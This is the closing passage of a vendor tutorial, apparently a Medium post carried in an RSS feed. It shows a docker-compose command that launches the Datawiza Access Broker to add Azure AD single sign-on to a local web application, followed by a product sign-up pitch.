DAB:</p><pre>docker-compose -f datawiza-access-broker up -d</pre><p>That’s it. After executing the command above, the Node.js application should have SSO enabled with Azure AD.</p><p>Now, let’s give it a try.</p><p>Open a browser and type in <a href="http://localhost:9772."><strong>http://localhost:9772</strong>.</a> You should see the Azure AD login page as follows. Note that if you are already logged into Azure AD in your browser, you may need to logout to see the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HpJgqvqjUBnnBQ6v" /><figcaption>SSO integration done via Datawiza without coding</figcaption></figure><p>After logging in to Azure AD, the Java web application will be shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Oj7WQKYf-xWhJUuY" /></figure><p>This tutorial has shown you how to <a href="https://www.datawiza.com/blogs/azure-ad-authentication-java-web-application">secure a Java application with Azure AD</a> using Datawiza — in minutes instead of hours or days. Get a free trial by <a href="https://console.datawiza.com/">signing in here</a>. Please email us at <a href="/service/mailto:contact@datawiza.com">contact@datawiza.com</a> if you need any help or have any questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b818635bece" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>